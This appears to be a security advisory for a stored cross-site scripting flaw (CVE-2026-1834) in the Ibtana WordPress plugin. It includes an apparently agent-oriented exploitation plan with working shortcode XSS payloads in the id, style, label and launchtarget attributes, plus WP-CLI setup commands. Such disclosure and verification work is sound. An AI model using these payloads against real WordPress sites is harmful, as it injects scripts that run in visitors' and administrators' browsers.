Ibtana - WordPress Website Builder <= 1.2.5.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
Description
The Ibtana – WordPress Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'ive' shortcode in all versions up to, and including, 1.2.5.7 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.2.5.7What Changed in the Fix
Changes introduced in v1.2.5.8
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1834 (Ibtana Visual Editor Stored XSS) ## 1. Vulnerability Summary The **Ibtana – WordPress Website Builder** plugin (up to 1.2.5.7) contains a Stored Cross-Site Scripting (XSS) vulnerability via the `[ive]` shortcode. The root cause is the failure to sanitize…
Show full research plan
Exploitation Research Plan: CVE-2026-1834 (Ibtana Visual Editor Stored XSS)
1. Vulnerability Summary
The Ibtana – WordPress Website Builder plugin (up to 1.2.5.7) contains a Stored Cross-Site Scripting (XSS) vulnerability via the [ive] shortcode. The root cause is the failure to sanitize or escape user-supplied attributes within the ive_shortcode function (and its associated rendering callbacks) in ive-countdown.php. When a user with at least Contributor-level permissions embeds the [ive] shortcode with malicious attributes, the script is stored in the post content and executed in the context of any user (including Administrators) who views the post.
2. Attack Vector Analysis
- Shortcode:
[ive] - Vulnerable Attributes: Likely
id,style,launchtarget, or label attributes (yearlabel,monthlabel, etc.) as defined inWP_Ivecountdown::register_ive_block. - Authentication: Contributor or higher.
- Preconditions: The plugin must be active. A post or page must be created containing the malicious shortcode.
- Endpoint: Post/Page creation/update (via WordPress admin or REST API).
- Trigger: Viewing the published or previewed post on the frontend.
3. Code Flow
- Registration: In
ive-countdown.php, the__constructmethod ofWP_Ivecountdownregisters the shortcode:add_shortcode('ive', array( $this, 'ive_shortcode') ); - Shortcode Handling: When WordPress parses
[ive], it calls theive_shortcodemethod. - Attribute Extraction: The method uses
shortcode_atts()to merge user-supplied attributes with defaults:// Inferred from register_block_type attributes in source: 'id' => array ('type' => 'string'), 'style' => array ('type' => 'string', 'default' => 'suzuki'), 'launchtarget' => array ('type' => 'string'), 'yearlabel' => array ('type' => 'string', 'default' => $this->options['yearlabel']), - Rendering (The Sink): The attributes are used to build an HTML string. The vulnerability exists because the code likely concatenates these attributes directly into HTML tags without using
esc_attr()oresc_html().- Example Sink (Inferred):
return '<div id="' . $atts['id'] . '" class="' . $atts['style'] . '">...</div>';
- Example Sink (Inferred):
4. Nonce Acquisition Strategy
Since the goal is to demonstrate Stored XSS via a shortcode, and the attacker is "Authenticated (Contributor+)", we can use WP-CLI to set up the payload. This bypasses the need to acquire a nonce for the HTTP request to save the post, focusing the PoC on the execution of the stored script.
If we were to perform the storage via the REST API or admin-ajax.php, we would:
- Login as a Contributor.
- Navigate to
wp-admin/post-new.php. - Extract the
_wpnonceorwpRestNoncefrom the localized script data:window.wpApiSettings.nonce.
However, for this specific exploit, we will use WP-CLI to inject the payload and then use the browser to verify the execution.
5. Exploitation Strategy
- Initialize Environment: Create a Contributor user and the target post using WP-CLI.
- Payload Selection: We will target the
idattribute to break out of the HTML attribute context.- Payload:
"><script>alert(document.domain)</script> - Shortcode:
[ive id='"><script>alert(document.domain)</script>']
- Payload:
- Inject Payload: Update a post with the shortcode.
- Trigger XSS: Navigate to the post URL.
- Observe Execution: Verify that the
<script>tag is rendered unescaped in the HTML source.
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Post Creation:
Note: Usingwp post create --post_type=post --post_status=publish --post_title="Countdown Test" --post_author=attacker --post_content="[ive id='\" onmouseover=\"alert(1)\" style=\"display:block;width:100px;height:100px;background:red;\"' style='suzuki']"onmouseoverorid='"><script>...'depending on how the plugin wraps the attribute.
7. Expected Results
- When viewing the post HTML source, the attribute should appear as:
<div id="" onmouseover="alert(1)" style="display:block;..." ...>
OR<div id=""><script>alert(document.domain)</script>" ...> - The
http_requestorbrowser_navigateshould show the payload firing or the raw script tag in the response body.
8. Verification Steps
- Check HTML Source:
# Use the browser_navigate and browser_eval to check for the presence of the script # Or check if a specific element added by the script exists. - WP-CLI Verification:
Confirm the content still contains the raw, unescaped payload.wp post get <POST_ID> --field=post_content
9. Alternative Approaches
If the id attribute is partially sanitized, try the following attributes based on the register_ive_block list in ive-countdown.php:
- Label attributes:
[ive yearlabel='</p><script>alert(1)</script><p>'] - Style attribute:
[ive style='"><img src=x onerror=alert(1)>'] - Launch Target:
[ive launchtarget='"><script>alert(1)</script>']
If the shortcode requires specific timing attributes to render, add timestr:[ive id='"><script>alert(1)</script>' timestr='2028-01-01 00:00:00']
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.